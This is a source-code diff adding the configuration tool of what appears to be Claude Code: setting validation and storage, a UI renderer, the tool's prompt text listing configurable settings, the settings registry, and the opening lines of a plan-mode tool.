+ error: `${setting} requires true or false.`,
198
+ },
199
+ }
200
+ }
201
+ }
202
+
203
+ // Check options
204
+ const options = getOptionsForSetting(setting)
205
+ if (options && !options.includes(String(finalValue))) {
206
+ return {
207
+ data: {
208
+ success: false,
209
+ operation: 'set',
210
+ setting,
211
+ error: `Invalid value "${value}". Options: ${options.join(', ')}`,
212
+ },
213
+ }
214
+ }
215
+
216
+ // Async validation (e.g., model API check)
217
+ if (config.validateOnWrite) {
218
+ const result = await config.validateOnWrite(finalValue)
219
+ if (!result.valid) {
220
+ return {
221
+ data: {
222
+ success: false,
223
+ operation: 'set',
224
+ setting,
225
+ error: result.error,
226
+ },
227
+ }
228
+ }
229
+ }
230
+
231
+ // Pre-flight checks for voice mode
232
+ if (
233
+ feature('VOICE_MODE') &&
234
+ setting === 'voiceEnabled' &&
235
+ finalValue === true
236
+ ) {
237
+ const { isVoiceModeEnabled } = await import(
238
+ '../../voice/voiceModeEnabled.js'
239
+ )
240
+ if (!isVoiceModeEnabled()) {
241
+ const { isAnthropicAuthEnabled } = await import('../../utils/auth.js')
242
+ return {
243
+ data: {
244
+ success: false,
245
+ error: !isAnthropicAuthEnabled()
246
+ ? 'Voice mode requires a Claude.ai account. Please run /login to sign in.'
247
+ : 'Voice mode is not available.',
248
+ },
249
+ }
250
+ }
251
+ const { isVoiceStreamAvailable } = await import(
252
+ '../../services/voiceStreamSTT.js'
253
+ )
254
+ const {
255
+ checkRecordingAvailability,
256
+ checkVoiceDependencies,
257
+ requestMicrophonePermission,
258
+ } = await import('../../services/voice.js')
259
+
260
+ const recording = await checkRecordingAvailability()
261
+ if (!recording.available) {
262
+ return {
263
+ data: {
264
+ success: false,
265
+ error:
266
+ recording.reason ??
267
+ 'Voice mode is not available in this environment.',
268
+ },
269
+ }
270
+ }
271
+ if (!isVoiceStreamAvailable()) {
272
+ return {
273
+ data: {
274
+ success: false,
275
+ error:
276
+ 'Voice mode requires a Claude.ai account. Please run /login to sign in.',
277
+ },
278
+ }
279
+ }
280
+ const deps = await checkVoiceDependencies()
281
+ if (!deps.available) {
282
+ return {
283
+ data: {
284
+ success: false,
285
+ error:
286
+ 'No audio recording tool found.' +
287
+ (deps.installCommand ? ` Run: ${deps.installCommand}` : ''),
288
+ },
289
+ }
290
+ }
291
+ if (!(await requestMicrophonePermission())) {
292
+ let guidance: string
293
+ if (process.platform === 'win32') {
294
+ guidance = 'Settings \u2192 Privacy \u2192 Microphone'
295
+ } else if (process.platform === 'linux') {
296
+ guidance = "your system's audio settings"
297
+ } else {
298
+ guidance =
299
+ 'System Settings \u2192 Privacy & Security \u2192 Microphone'
300
+ }
301
+ return {
302
+ data: {
303
+ success: false,
304
+ error: `Microphone access is denied. To enable it, go to ${guidance}, then try again.`,
305
+ },
306
+ }
307
+ }
308
+ }
309
+
310
+ const previousValue = getValue(config.source, path)
311
+
312
+ // 4. Write to storage
313
+ try {
314
+ if (config.source === 'global') {
315
+ const key = path[0]
316
+ if (!key) {
317
+ return {
318
+ data: {
319
+ success: false,
320
+ operation: 'set',
321
+ setting,
322
+ error: 'Invalid setting path',
323
+ },
324
+ }
325
+ }
326
+ saveGlobalConfig(prev => {
327
+ if (prev[key as keyof GlobalConfig] === finalValue) return prev
328
+ return { ...prev, [key]: finalValue }
329
+ })
330
+ } else {
331
+ const update = buildNestedObject(path, finalValue)
332
+ const result = updateSettingsForSource('userSettings', update)
333
+ if (result.error) {
334
+ return {
335
+ data: {
336
+ success: false,
337
+ operation: 'set',
338
+ setting,
339
+ error: result.error.message,
340
+ },
341
+ }
342
+ }
343
+ }
344
+
345
+ // 5a. Voice needs notifyChange so applySettingsChange resyncs
346
+ // AppState.settings (useVoiceEnabled reads settings.voiceEnabled)
347
+ // and the settings cache resets for the next /voice read.
348
+ if (feature('VOICE_MODE') && setting === 'voiceEnabled') {
349
+ const { settingsChangeDetector } = await import(
350
+ '../../utils/settings/changeDetector.js'
351
+ )
352
+ settingsChangeDetector.notifyChange('userSettings')
353
+ }
354
+
355
+ // 5b. Sync to AppState if needed for immediate UI effect
356
+ if (config.appStateKey) {
357
+ const appKey = config.appStateKey
358
+ context.setAppState(prev => {
359
+ if (prev[appKey] === finalValue) return prev
360
+ return { ...prev, [appKey]: finalValue }
361
+ })
362
+ }
363
+
364
+ // Sync remoteControlAtStartup to AppState so the bridge reacts
365
+ // immediately (the config key differs from the AppState field name,
366
+ // so the generic appStateKey mechanism can't handle this).
367
+ if (setting === 'remoteControlAtStartup') {
368
+ const resolved = getRemoteControlAtStartup()
369
+ context.setAppState(prev => {
370
+ if (
371
+ prev.replBridgeEnabled === resolved &&
372
+ !prev.replBridgeOutboundOnly
373
+ )
374
+ return prev
375
+ return {
376
+ ...prev,
377
+ replBridgeEnabled: resolved,
378
+ replBridgeOutboundOnly: false,
379
+ }
380
+ })
381
+ }
382
+
383
+ logEvent('tengu_config_tool_changed', {
384
+ setting:
385
+ setting as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
386
+ value: String(
387
+ finalValue,
388
+ ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
389
+ })
390
+
391
+ return {
392
+ data: {
393
+ success: true,
394
+ operation: 'set',
395
+ setting,
396
+ previousValue,
397
+ newValue: finalValue,
398
+ },
399
+ }
400
+ } catch (error) {
401
+ logError(error)
402
+ return {
403
+ data: {
404
+ success: false,
405
+ operation: 'set',
406
+ setting,
407
+ error: errorMessage(error),
408
+ },
409
+ }
410
+ }
411
+ },
412
+ mapToolResultToToolResultBlockParam(content: Output, toolUseID: string) {
413
+ if (content.success) {
414
+ if (content.operation === 'get') {
415
+ return {
416
+ tool_use_id: toolUseID,
417
+ type: 'tool_result' as const,
418
+ content: `${content.setting} = ${jsonStringify(content.value)}`,
419
+ }
420
+ }
421
+ return {
422
+ tool_use_id: toolUseID,
423
+ type: 'tool_result' as const,
424
+ content: `Set ${content.setting} to ${jsonStringify(content.newValue)}`,
425
+ }
426
+ }
427
+ return {
428
+ tool_use_id: toolUseID,
429
+ type: 'tool_result' as const,
430
+ content: `Error: ${content.error}`,
431
+ is_error: true,
432
+ }
433
+ },
434
+ } satisfies ToolDef<InputSchema, Output>)
435
+
436
+ function getValue(source: 'global' | 'settings', path: string[]): unknown {
437
+ if (source === 'global') {
438
+ const config = getGlobalConfig()
439
+ const key = path[0]
440
+ if (!key) return undefined
441
+ return config[key as keyof GlobalConfig]
442
+ }
443
+ const settings = getInitialSettings()
444
+ let current: unknown = settings
445
+ for (const key of path) {
446
+ if (current && typeof current === 'object' && key in current) {
447
+ current = (current as Record<string, unknown>)[key]
448
+ } else {
449
+ return undefined
450
+ }
451
+ }
452
+ return current
453
+ }
454
+
455
+ function buildNestedObject(
456
+ path: string[],
457
+ value: unknown,
458
+ ): Record<string, unknown> {
459
+ if (path.length === 0) {
460
+ return {}
461
+ }
462
+ const key = path[0]!
463
+ if (path.length === 1) {
464
+ return { [key]: value }
465
+ }
466
+ return { [key]: buildNestedObject(path.slice(1), value) }
467
+ }
src/tools/ConfigTool/UI.tsx ADDED
@@ -0,0 +1,38 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import React from 'react';
2
+ import { MessageResponse } from '../../components/MessageResponse.js';
3
+ import { Text } from '../../ink.js';
4
+ import { jsonStringify } from '../../utils/slowOperations.js';
5
+ import type { Input, Output } from './ConfigTool.js';
6
+ export function renderToolUseMessage(input: Partial<Input>): React.ReactNode {
7
+ if (!input.setting) return null;
8
+ if (input.value === undefined) {
9
+ return <Text dimColor>Getting {input.setting}</Text>;
10
+ }
11
+ return <Text dimColor>
12
+ Setting {input.setting} to {jsonStringify(input.value)}
13
+ </Text>;
14
+ }
15
+ export function renderToolResultMessage(content: Output): React.ReactNode {
16
+ if (!content.success) {
17
+ return <MessageResponse>
18
+ <Text color="error">Failed: {content.error}</Text>
19
+ </MessageResponse>;
20
+ }
21
+ if (content.operation === 'get') {
22
+ return <MessageResponse>
23
+ <Text>
24
+ <Text bold>{content.setting}</Text> = {jsonStringify(content.value)}
25
+ </Text>
26
+ </MessageResponse>;
27
+ }
28
+ return <MessageResponse>
29
+ <Text>
30
+ Set <Text bold>{content.setting}</Text> to{' '}
31
+ <Text bold>{jsonStringify(content.newValue)}</Text>
32
+ </Text>
33
+ </MessageResponse>;
34
+ }
35
+ export function renderToolUseRejectedMessage(): React.ReactNode {
36
+ return <Text color="warning">Config change rejected</Text>;
37
+ }
38
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIk1lc3NhZ2VSZXNwb25zZSIsIlRleHQiLCJqc29uU3RyaW5naWZ5IiwiSW5wdXQiLCJPdXRwdXQiLCJyZW5kZXJUb29sVXNlTWVzc2FnZSIsImlucHV0IiwiUGFydGlhbCIsIlJlYWN0Tm9kZSIsInNldHRpbmciLCJ2YWx1ZSIsInVuZGVmaW5lZCIsInJlbmRlclRvb2xSZXN1bHRNZXNzYWdlIiwiY29udGVudCIsInN1Y2Nlc3MiLCJlcnJvciIsIm9wZXJhdGlvbiIsIm5ld1ZhbHVlIiwicmVuZGVyVG9vbFVzZVJlamVjdGVkTWVzc2FnZSJdLCJzb3VyY2VzIjpbIlVJLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL01lc3NhZ2VSZXNwb25zZS5qcydcbmltcG9ydCB7IFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBqc29uU3RyaW5naWZ5IH0gZnJvbSAnLi4vLi4vdXRpbHMvc2xvd09wZXJhdGlvbnMuanMnXG5pbXBvcnQgdHlwZSB7IElucHV0LCBPdXRwdXQgfSBmcm9tICcuL0NvbmZpZ1Rvb2wuanMnXG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlTWVzc2FnZShpbnB1dDogUGFydGlhbDxJbnB1dD4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAoIWlucHV0LnNldHRpbmcpIHJldHVybiBudWxsXG4gIGlmIChpbnB1dC52YWx1ZSA9PT0gdW5kZWZpbmVkKSB7XG4gICAgcmV0dXJuIDxUZXh0IGRpbUNvbG9yPkdldHRpbmcge2lucHV0LnNldHRpbmd9PC9UZXh0PlxuICB9XG4gIHJldHVybiAoXG4gICAgPFRleHQgZGltQ29sb3I+XG4gICAgICBTZXR0aW5nIHtpbnB1dC5zZXR0aW5nfSB0byB7anNvblN0cmluZ2lmeShpbnB1dC52YWx1ZSl9XG4gICAgPC9UZXh0PlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sUmVzdWx0TWVzc2FnZShjb250ZW50OiBPdXRwdXQpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBpZiAoIWNvbnRlbnQuc3VjY2Vzcykge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dCBjb2xvcj1cImVycm9yXCI+RmFpbGVkOiB7Y29udGVudC5lcnJvcn08L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cbiAgaWYgKGNvbnRlbnQub3BlcmF0aW9uID09PSAnZ2V0Jykge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICA8VGV4dD5cbiAgICAgICAgICA8VGV4dCBib2xkPntjb250ZW50LnNldHRpbmd9PC9UZXh0PiA9IHtqc29uU3RyaW5naWZ5KGNvbnRlbnQudmFsdWUpfVxuICAgICAgICA8L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cbiAgcmV0dXJuIChcbiAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgPFRleHQ+XG4gICAgICAgIFNldCA8VGV4dCBib2xkPntjb250ZW50LnNldHRpbmd9PC9UZXh0PiB0b3snICd9XG4gICAgICAgIDxUZXh0IGJvbGQ+e2pzb25TdHJpbmdpZnkoY29udGVudC5uZXdWYWx1ZSl9PC9UZXh0PlxuICAgICAgPC9UZXh0PlxuICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICApXG59XG5cbmV4cG9ydCBmdW5jdGlvbiByZW5kZXJUb29sVXNlUmVqZWN0ZWRNZXNzYWdlKCk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIHJldHVybiA8VGV4dCBjb2xvcj1cIndhcm5pbmdcIj5Db25maWcgY2hhbmdlIHJlamVjdGVkPC9UZXh0PlxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQyxlQUFlLFFBQVEscUNBQXFDO0FBQ3JFLFNBQVNDLElBQUksUUFBUSxjQUFjO0FBQ25DLFNBQVNDLGFBQWEsUUFBUSwrQkFBK0I7QUFDN0QsY0FBY0MsS0FBSyxFQUFFQyxNQUFNLFFBQVEsaUJBQWlCO0FBRXBELE9BQU8sU0FBU0Msb0JBQW9CQSxDQUFDQyxLQUFLLEVBQUVDLE9BQU8sQ0FBQ0osS0FBSyxDQUFDLENBQUMsRUFBRUosS0FBSyxDQUFDUyxTQUFTLENBQUM7RUFDM0UsSUFBSSxDQUFDRixLQUFLLENBQUNHLE9BQU8sRUFBRSxPQUFPLElBQUk7RUFDL0IsSUFBSUgsS0FBSyxDQUFDSSxLQUFLLEtBQUtDLFNBQVMsRUFBRTtJQUM3QixPQUFPLENBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBQyxRQUFRLENBQUNMLEtBQUssQ0FBQ0csT0FBTyxDQUFDLEVBQUUsSUFBSSxDQUFDO0VBQ3REO0VBQ0EsT0FDRSxDQUFDLElBQUksQ0FBQyxRQUFRO0FBQ2xCLGNBQWMsQ0FBQ0gsS0FBSyxDQUFDRyxPQUFPLENBQUMsSUFBSSxDQUFDUCxhQUFhLENBQUNJLEtBQUssQ0FBQ0ksS0FBSyxDQUFDO0FBQzVELElBQUksRUFBRSxJQUFJLENBQUM7QUFFWDtBQUVBLE9BQU8sU0FBU0UsdUJBQXVCQSxDQUFDQyxPQUFPLEVBQUVULE1BQU0sQ0FBQyxFQUFFTCxLQUFLLENBQUNTLFNBQVMsQ0FBQztFQUN4RSxJQUFJLENBQUNLLE9BQU8sQ0FBQ0MsT0FBTyxFQUFFO0lBQ3BCLE9BQ0UsQ0FBQyxlQUFlO0FBQ3RCLFFBQVEsQ0FBQyxJQUFJLENBQUMsS0FBSyxDQUFDLE9BQU8sQ0FBQyxRQUFRLENBQUNELE9BQU8sQ0FBQ0UsS0FBSyxDQUFDLEVBQUUsSUFBSTtBQUN6RCxNQUFNLEVBQUUsZUFBZSxDQUFDO0VBRXRCO0VBQ0EsSUFBSUYsT0FBTyxDQUFDRyxTQUFTLEtBQUssS0FBSyxFQUFFO0lBQy9CLE9BQ0UsQ0FBQyxlQUFlO0FBQ3RCLFFBQVEsQ0FBQyxJQUFJO0FBQ2IsVUFBVSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0gsT0FBTyxDQUFDSixPQUFPLENBQUMsRUFBRSxJQUFJLENBQUMsR0FBRyxDQUFDUCxhQUFhLENBQUNXLE9BQU8sQ0FBQ0gsS0FBSyxDQUFDO0FBQzdFLFFBQVEsRUFBRSxJQUFJO0FBQ2QsTUFBTSxFQUFFLGVBQWUsQ0FBQztFQUV0QjtFQUNBLE9BQ0UsQ0FBQyxlQUFlO0FBQ3BCLE1BQU0sQ0FBQyxJQUFJO0FBQ1gsWUFBWSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0csT0FBTyxDQUFDSixPQUFPLENBQUMsRUFBRSxJQUFJLENBQUMsR0FBRyxDQUFDLEdBQUc7QUFDdEQsUUFBUSxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ1AsYUFBYSxDQUFDVyxPQUFPLENBQUNJLFFBQVEsQ0FBQyxDQUFDLEVBQUUsSUFBSTtBQUMxRCxNQUFNLEVBQUUsSUFBSTtBQUNaLElBQUksRUFBRSxlQUFlLENBQUM7QUFFdEI7QUFFQSxPQUFPLFNBQVNDLDRCQUE0QkEsQ0FBQSxDQUFFLEVBQUVuQixLQUFLLENBQUNTLFNBQVMsQ0FBQztFQUM5RCxPQUFPLENBQUMsSUFBSSxDQUFDLEtBQUssQ0FBQyxTQUFTLENBQUMsc0JBQXNCLEVBQUUsSUFBSSxDQUFDO0FBQzVEIiwiaWdub3JlTGlzdCI6W119
src/tools/ConfigTool/constants.ts ADDED
@@ -0,0 +1 @@
 
 
1
+ export const CONFIG_TOOL_NAME = 'Config'
src/tools/ConfigTool/prompt.ts ADDED
@@ -0,0 +1,93 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { feature } from 'bun:bundle'
2
+ import { getModelOptions } from '../../utils/model/modelOptions.js'
3
+ import { isVoiceGrowthBookEnabled } from '../../voice/voiceModeEnabled.js'
4
+ import {
5
+ getOptionsForSetting,
6
+ SUPPORTED_SETTINGS,
7
+ } from './supportedSettings.js'
8
+
9
+ export const DESCRIPTION = 'Get or set Claude Code configuration settings.'
10
+
11
+ /**
12
+ * Generate the prompt documentation from the registry
13
+ */
14
+ export function generatePrompt(): string {
15
+ const globalSettings: string[] = []
16
+ const projectSettings: string[] = []
17
+
18
+ for (const [key, config] of Object.entries(SUPPORTED_SETTINGS)) {
19
+ // Skip model - it gets its own section with dynamic options
20
+ if (key === 'model') continue
21
+ // Voice settings are registered at build-time but gated by GrowthBook
22
+ // at runtime. Hide from model prompt when the kill-switch is on.
23
+ if (
24
+ feature('VOICE_MODE') &&
25
+ key === 'voiceEnabled' &&
26
+ !isVoiceGrowthBookEnabled()
27
+ )
28
+ continue
29
+
30
+ const options = getOptionsForSetting(key)
31
+ let line = `- ${key}`
32
+
33
+ if (options) {
34
+ line += `: ${options.map(o => `"${o}"`).join(', ')}`
35
+ } else if (config.type === 'boolean') {
36
+ line += `: true/false`
37
+ }
38
+
39
+ line += ` - ${config.description}`
40
+
41
+ if (config.source === 'global') {
42
+ globalSettings.push(line)
43
+ } else {
44
+ projectSettings.push(line)
45
+ }
46
+ }
47
+
48
+ const modelSection = generateModelSection()
49
+
50
+ return `Get or set Claude Code configuration settings.
51
+
52
+ View or change Claude Code settings. Use when the user requests configuration changes, asks about current settings, or when adjusting a setting would benefit them.
53
+
54
+
55
+ ## Usage
56
+ - **Get current value:** Omit the "value" parameter
57
+ - **Set new value:** Include the "value" parameter
58
+
59
+ ## Configurable settings list
60
+ The following settings are available for you to change:
61
+
62
+ ### Global Settings (stored in ~/.claude.json)
63
+ ${globalSettings.join('\n')}
64
+
65
+ ### Project Settings (stored in settings.json)
66
+ ${projectSettings.join('\n')}
67
+
68
+ ${modelSection}
69
+ ## Examples
70
+ - Get theme: { "setting": "theme" }
71
+ - Set dark theme: { "setting": "theme", "value": "dark" }
72
+ - Enable vim mode: { "setting": "editorMode", "value": "vim" }
73
+ - Enable verbose: { "setting": "verbose", "value": true }
74
+ - Change model: { "setting": "model", "value": "opus" }
75
+ - Change permission mode: { "setting": "permissions.defaultMode", "value": "plan" }
76
+ `
77
+ }
78
+
79
+ function generateModelSection(): string {
80
+ try {
81
+ const options = getModelOptions()
82
+ const lines = options.map(o => {
83
+ const value = o.value === null ? 'null/"default"' : `"${o.value}"`
84
+ return ` - ${value}: ${o.descriptionForModel ?? o.description}`
85
+ })
86
+ return `## Model
87
+ - model - Override the default model. Available options:
88
+ ${lines.join('\n')}`
89
+ } catch {
90
+ return `## Model
91
+ - model - Override the default model (sonnet, opus, haiku, best, or full model ID)`
92
+ }
93
+ }
src/tools/ConfigTool/supportedSettings.ts ADDED
@@ -0,0 +1,211 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { feature } from 'bun:bundle'
2
+ import { getRemoteControlAtStartup } from '../../utils/config.js'
3
+ import {
4
+ EDITOR_MODES,
5
+ NOTIFICATION_CHANNELS,
6
+ TEAMMATE_MODES,
7
+ } from '../../utils/configConstants.js'
8
+ import { getModelOptions } from '../../utils/model/modelOptions.js'
9
+ import { validateModel } from '../../utils/model/validateModel.js'
10
+ import { THEME_NAMES, THEME_SETTINGS } from '../../utils/theme.js'
11
+
12
+ /** AppState keys that can be synced for immediate UI effect */
13
+ type SyncableAppStateKey = 'verbose' | 'mainLoopModel' | 'thinkingEnabled'
14
+
15
+ type SettingConfig = {
16
+ source: 'global' | 'settings'
17
+ type: 'boolean' | 'string'
18
+ description: string
19
+ path?: string[]
20
+ options?: readonly string[]
21
+ getOptions?: () => string[]
22
+ appStateKey?: SyncableAppStateKey
23
+ /** Async validation called when writing/setting a value */
24
+ validateOnWrite?: (v: unknown) => Promise<{ valid: boolean; error?: string }>
25
+ /** Format value when reading/getting for display */
26
+ formatOnRead?: (v: unknown) => unknown
27
+ }
28
+
29
+ export const SUPPORTED_SETTINGS: Record<string, SettingConfig> = {
30
+ theme: {
31
+ source: 'global',
32
+ type: 'string',
33
+ description: 'Color theme for the UI',
34
+ options: feature('AUTO_THEME') ? THEME_SETTINGS : THEME_NAMES,
35
+ },
36
+ editorMode: {
37
+ source: 'global',
38
+ type: 'string',
39
+ description: 'Key binding mode',
40
+ options: EDITOR_MODES,
41
+ },
42
+ verbose: {
43
+ source: 'global',
44
+ type: 'boolean',
45
+ description: 'Show detailed debug output',
46
+ appStateKey: 'verbose',
47
+ },
48
+ preferredNotifChannel: {
49
+ source: 'global',
50
+ type: 'string',
51
+ description: 'Preferred notification channel',
52
+ options: NOTIFICATION_CHANNELS,
53
+ },
54
+ autoCompactEnabled: {
55
+ source: 'global',
56
+ type: 'boolean',
57
+ description: 'Auto-compact when context is full',
58
+ },
59
+ autoMemoryEnabled: {
60
+ source: 'settings',
61
+ type: 'boolean',
62
+ description: 'Enable auto-memory',
63
+ },
64
+ autoDreamEnabled: {
65
+ source: 'settings',
66
+ type: 'boolean',
67
+ description: 'Enable background memory consolidation',
68
+ },
69
+ fileCheckpointingEnabled: {
70
+ source: 'global',
71
+ type: 'boolean',
72
+ description: 'Enable file checkpointing for code rewind',
73
+ },
74
+ showTurnDuration: {
75
+ source: 'global',
76
+ type: 'boolean',
77
+ description:
78
+ 'Show turn duration message after responses (e.g., "Cooked for 1m 6s")',
79
+ },
80
+ terminalProgressBarEnabled: {
81
+ source: 'global',
82
+ type: 'boolean',
83
+ description: 'Show OSC 9;4 progress indicator in supported terminals',
84
+ },
85
+ todoFeatureEnabled: {
86
+ source: 'global',
87
+ type: 'boolean',
88
+ description: 'Enable todo/task tracking',
89
+ },
90
+ model: {
91
+ source: 'settings',
92
+ type: 'string',
93
+ description: 'Override the default model',
94
+ appStateKey: 'mainLoopModel',
95
+ getOptions: () => {
96
+ try {
97
+ return getModelOptions()
98
+ .filter(o => o.value !== null)
99
+ .map(o => o.value as string)
100
+ } catch {
101
+ return ['sonnet', 'opus', 'haiku']
102
+ }
103
+ },
104
+ validateOnWrite: v => validateModel(String(v)),
105
+ formatOnRead: v => (v === null ? 'default' : v),
106
+ },
107
+ alwaysThinkingEnabled: {
108
+ source: 'settings',
109
+ type: 'boolean',
110
+ description: 'Enable extended thinking (false to disable)',
111
+ appStateKey: 'thinkingEnabled',
112
+ },
113
+ 'permissions.defaultMode': {
114
+ source: 'settings',
115
+ type: 'string',
116
+ description: 'Default permission mode for tool usage',
117
+ options: feature('TRANSCRIPT_CLASSIFIER')
118
+ ? ['default', 'plan', 'acceptEdits', 'dontAsk', 'auto']
119
+ : ['default', 'plan', 'acceptEdits', 'dontAsk'],
120
+ },
121
+ language: {
122
+ source: 'settings',
123
+ type: 'string',
124
+ description:
125
+ 'Preferred language for Claude responses and voice dictation (e.g., "japanese", "spanish")',
126
+ },
127
+ teammateMode: {
128
+ source: 'global',
129
+ type: 'string',
130
+ description:
131
+ 'How to spawn teammates: "tmux" for traditional tmux, "in-process" for same process, "auto" to choose automatically',
132
+ options: TEAMMATE_MODES,
133
+ },
134
+ ...(process.env.USER_TYPE === 'ant'
135
+ ? {
136
+ classifierPermissionsEnabled: {
137
+ source: 'settings' as const,
138
+ type: 'boolean' as const,
139
+ description:
140
+ 'Enable AI-based classification for Bash(prompt:...) permission rules',
141
+ },
142
+ }
143
+ : {}),
144
+ ...(feature('VOICE_MODE')
145
+ ? {
146
+ voiceEnabled: {
147
+ source: 'settings' as const,
148
+ type: 'boolean' as const,
149
+ description: 'Enable voice dictation (hold-to-talk)',
150
+ },
151
+ }
152
+ : {}),
153
+ ...(feature('BRIDGE_MODE')
154
+ ? {
155
+ remoteControlAtStartup: {
156
+ source: 'global' as const,
157
+ type: 'boolean' as const,
158
+ description:
159
+ 'Enable Remote Control for all sessions (true | false | default)',
160
+ formatOnRead: () => getRemoteControlAtStartup(),
161
+ },
162
+ }
163
+ : {}),
164
+ ...(feature('KAIROS') || feature('KAIROS_PUSH_NOTIFICATION')
165
+ ? {
166
+ taskCompleteNotifEnabled: {
167
+ source: 'global' as const,
168
+ type: 'boolean' as const,
169
+ description:
170
+ 'Push to your mobile device when idle after Claude finishes (requires Remote Control)',
171
+ },
172
+ inputNeededNotifEnabled: {
173
+ source: 'global' as const,
174
+ type: 'boolean' as const,
175
+ description:
176
+ 'Push to your mobile device when a permission prompt or question is waiting (requires Remote Control)',
177
+ },
178
+ agentPushNotifEnabled: {
179
+ source: 'global' as const,
180
+ type: 'boolean' as const,
181
+ description:
182
+ 'Allow Claude to push to your mobile device when it deems it appropriate (requires Remote Control)',
183
+ },
184
+ }
185
+ : {}),
186
+ }
187
+
188
+ export function isSupported(key: string): boolean {
189
+ return key in SUPPORTED_SETTINGS
190
+ }
191
+
192
+ export function getConfig(key: string): SettingConfig | undefined {
193
+ return SUPPORTED_SETTINGS[key]
194
+ }
195
+
196
+ export function getAllKeys(): string[] {
197
+ return Object.keys(SUPPORTED_SETTINGS)
198
+ }
199
+
200
+ export function getOptionsForSetting(key: string): string[] | undefined {
201
+ const config = SUPPORTED_SETTINGS[key]
202
+ if (!config) return undefined
203
+ if (config.options) return [...config.options]
204
+ if (config.getOptions) return config.getOptions()
205
+ return undefined
206
+ }
207
+
208
+ export function getPath(key: string): string[] {
209
+ const config = SUPPORTED_SETTINGS[key]
210
+ return config?.path ?? key.split('.')
211
+ }
src/tools/EnterPlanModeTool/EnterPlanModeTool.ts ADDED
@@ -0,0 +1,126 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { feature } from 'bun:bundle'
2
+ import { z } from 'zod/v4'
3
+ import {
4
+ getAllowedChannels,
5
+ handlePlanModeTransition,
6
+ } from '../../bootstrap/state.js'
7
+ import type { Tool } from '../../Tool.js'
8
+ import { buildTool, type ToolDef } from '../../Tool.js'
9
+ import { lazySchema } from '../../utils/lazySchema.js'
10
+ import { applyPermissionUpdate } from '../../utils/permissions/PermissionUpdate.js'
11
+ import { prepareContextForPlanMode } from '../../utils/permissions/permissionSetup.js'
12
+ import { isPlanModeInterviewPhaseEnabled } from '../../utils/planModeV2.js'
13
+ import { ENTER_PLAN_MODE_TOOL_NAME } from './constants.js'
14
+ import { getEnterPlanModeToolPrompt } from './prompt.js'
15
+ import {
16
+ renderToolResultMessage,
17
+ renderToolUseMessage,
18
+ renderToolUseRejectedMessage,
19
+ } from './UI.js'
20
+
21
+ const inputSchema = lazySchema(() =>
22
+ z.strictObject({
23
+ // No parameters needed
24
+ }),
25
+ )
26
+ type InputSchema = ReturnType<typeof inputSchema>
27
+
28
+ const outputSchema = lazySchema(() =>
29
+ z.object({
30
+ message: z.string().describe('Confirmation that plan mode was entered'),
31
+ }),
32
+ )
33
+ type OutputSchema = ReturnType<typeof outputSchema>
34
+ export type Output = z.infer<OutputSchema>
35
+
36
